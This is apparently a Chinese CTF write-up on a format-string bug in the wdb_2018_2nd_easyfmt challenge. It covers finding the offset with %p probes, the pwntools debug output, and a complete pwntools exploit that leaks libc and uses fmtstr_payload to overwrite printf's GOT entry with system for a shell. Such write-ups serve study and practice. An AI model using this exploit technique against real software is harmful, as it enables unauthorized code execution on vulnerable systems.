格式化字符串漏洞
如何确定偏移
Do you know repeater?
输入AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
输出AAAA.0xffffd658.0x64.0xf7ffdc08.0xf7ffcd00.0xffffd77c.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.
#通过格式化输出数据,0xf7打头的是第3个,打印第3个0xf7ffdc08,AAAA格式和0x41414141一致,offset为6
最开始输入的AAAA,在offset=6的位置输出了,可以推出栈上其他位置的偏移。
[*] '/ctf/work/3/wdb_2018_2nd_easyfmt'
? ? Arch: ? ? i386-32-little? ? ? ? ? ?#32位程序
? ? RELRO: ? ?Partial RELRO? ?#got表可写
? ? Stack: ? ?No canary found? ? #栈可溢出
? ? NX: ? ? ? NX enabled? ? ? ? ? ? #shellcode不可以
? ? PIE: ? ? ?No PIE (0x8048000) #代码段无随机化,地址都可以知道
[x] Starting local process './wdb_2018_2nd_easyfmt'
[+] Starting local process './wdb_2018_2nd_easyfmt': pid 253
[*] '/ctf/work/3/wdb_2018_2nd_easyfmt'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[DEBUG] Sent 0x5 bytes:
'%3$p\n'
[DEBUG] Received 0x22 bytes:
'Do you know repeater?\n'
'0xf7f15c08\n'
'\n'
[*] leak: 0xf7f15c08
[*] libc: 0xf7d36000
[DEBUG] Sent 0x3b bytes:
00000000 14 a0 04 08 15 a0 04 08 16 a0 04 08 17 a0 04 08 │····│····│····│····│
00000010 25 34 38 63 25 36 24 68 68 6e 25 32 30 31 63 25 │%48c│%6$h│hn%2│01c%│
00000020 37 24 68 68 6e 25 32 30 36 63 25 38 24 68 68 6e │7$hh│n%20│6c%8│$hhn│
00000030 25 33 32 63 25 39 24 68 68 6e 0a │%32c│%9$h│hn·│
0000003b
[*] Switching to interactive mode
[DEBUG] Received 0x1f9 bytes:
00000000 14 a0 04 08 15 a0 04 08 16 a0 04 08 17 a0 04 08 │····│····│····│····│
00000010 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000030 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 08 │ │ │ │ ·│
00000040 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000100 20 20 20 20 20 20 20 20 64 20 20 20 20 20 20 20 │ │ │d │ │
00000110 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
000001d0 20 20 20 20 20 20 08 20 20 20 20 20 20 20 20 20 │ │ · │ │ │
000001e0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
000001f0 20 20 20 20 20 20 00 0a 0a │ │ ··│·│
000001f9
���� d
使用powdocker1604环境https://blog.csdn.net/weixin_44626085/article/details/135561582
标红的地方替换下面相应的值?
#coding=utf-8
from pwn import *
#设置gdp调试环境tmux
context.terminal=["tmux","sp","-h"]
#p = process(["/glibc/2.23/32/lib/ld-2.23.so", "./test"], env={"LD_PRELOAD":"/glibc/2.23/32/lib/libc.so.6"})
#p = process(["/glibc/2.23/32/lib/ld-2.23.so", "./test"], env={'LD_PRELOAD':'./libc-2.23.so'})
#p= process('./wdb_2018_2nd_easyfmt')
#本地调试./wdb_2018_2nd_easyfmt,使用远程环境的提供的libc-2.23.so
p = process('./wdb_2018_2nd_easyfmt', env={'LD_PRELOAD':'./libc-2.23.so'})
#远程连接环境
#p = remote('node5.buuoj.cn',25976)
#gdb.attach(p)
#gdb动态调试
elf = ELF('./wdb_2018_2nd_easyfmt')
#使用elf函数
context.log_level='debug'
offset = 6
p.sendline('%3$p')
#Do you know repeater?
#AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
#AAAA.0xffffd658.0x64.0xf7ffdc08.0xf7ffcd00.0xffffd77c.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.
#通过格式化输出数据,0xf7打头的是第3个,打印第3个0xf7ffdc08,AAAA格式和0x41414141一致,offset为6
p.recvuntil('0x')
leak = int(p.recvuntil('\n', drop=True), 16)
#接收到f7e306bb,转换成整数
log.info('leak: '+hex(leak))
#输出leak
#pause()
libc = leak-0xf7f60c08+0xf7d81000
#算出libc地址
log.info('libc: '+hex(libc))
#输出libc地址
system =libc+0x3a940
#输出system地址
pl = fmtstr_payload(offset,{elf.got['printf'] : system})
#构造playload,将打印地址改成system地址
p.sendline(pl)
p.interactive()
#pause()
p.sendline('/bin/sh')
最后一个坑是换成远程的时候发现不成功,然后换了一台电脑后就成功了,不成功的是amd芯片的
,成功的intel芯片的。这个坑浪费了我大量的时间。